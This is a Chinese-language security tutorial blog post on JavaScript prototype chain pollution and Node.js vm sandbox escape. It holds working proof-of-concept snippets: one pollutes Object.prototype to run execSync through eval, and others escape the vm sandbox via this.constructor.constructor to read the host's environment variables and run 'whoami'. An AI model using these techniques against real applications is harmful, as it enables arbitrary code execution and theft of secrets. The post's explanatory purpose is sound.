尽管这种原型继承通常被认为是 JavaScript 的弱点之一,但是原型继承模型本身实际上比经典模型更强大。例如,在原型模型的基础上构建经典模型相当简单。

js
function Foo(name,age){ this.name=name; this.age=age; } Object.prototype.toString=function(){ console.log("I'm "+this.name+" And I'm "+this.age); } var fn=new Foo('xiaoming',19); fn.toString(); console.log(fn.toString===Foo.prototype.__proto__.toString); console.log(fn.__proto__===Foo.prototype) console.log(Foo.prototype.__proto__===Object.prototype) console.log(Object.prototype.__proto__===null)

img

2.2 原型链污染原理

在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

js
// foo是一个简单的JavaScript对象 let foo = {bar: 1} // foo.bar 此时为1 console.log(foo.bar) // 修改foo的原型(即Object) foo.__proto__.bar = 2 // 由于查找顺序的原因,foo.bar仍然是1 console.log(foo.bar) // 此时再用Object创建一个空的zoo对象 let zoo = {} // 查看zoo.bar,此时bar为2 console.log(zoo.bar)

2.3 原型链污染配合RCE

有原型链污染的前提之下,我们可以控制基类的成员,赋值为一串恶意代码,从而造成代码注入。

js
let foo = {bar: 1} console.log(foo.bar) foo.__proto__.bar = 'require(\'child_process\').execSync(\'open /System/Applications/Calculator.app/\');' console.log(foo.bar) let zoo = {} console.log(eval(zoo.bar))

3 vm沙箱逃逸

vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序。但是可以通过构造语句来进行逃逸

逃逸例子:

js
const vm = require("vm"); const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`); console.log(env);
js
const vm = require('vm'); const sandbox = {}; const script = new vm.Script("this.constructor.constructor('return this.process.env')()"); const context = vm.createContext(sandbox); env = script.runInContext(context); console.log(env);

执行以上两个例子之后可以获取到主程序环境中的环境变量(两个例子代码等价)

创建vm环境时,首先要初始化一个对象 sandbox,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局 this 指向的就是这个对象。

因为this.constructor.constructor返回的是一个Function constructor,所以可以利用Function对象构造一个函数并执行。(此时Function对象的上下文环境是处于主程序中的) 这里构造的函数内的语句是return this.process.env,结果是返回了主程序的环境变量。

配合chile_process.exec()就可以执行任意命令了:

js
const vm = require("vm"); const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('whoami').toString()`); console.log(env);

参考文章:

https://xz.aliyun.com/t/7184#toc-0

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

本文作者:chi11i

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!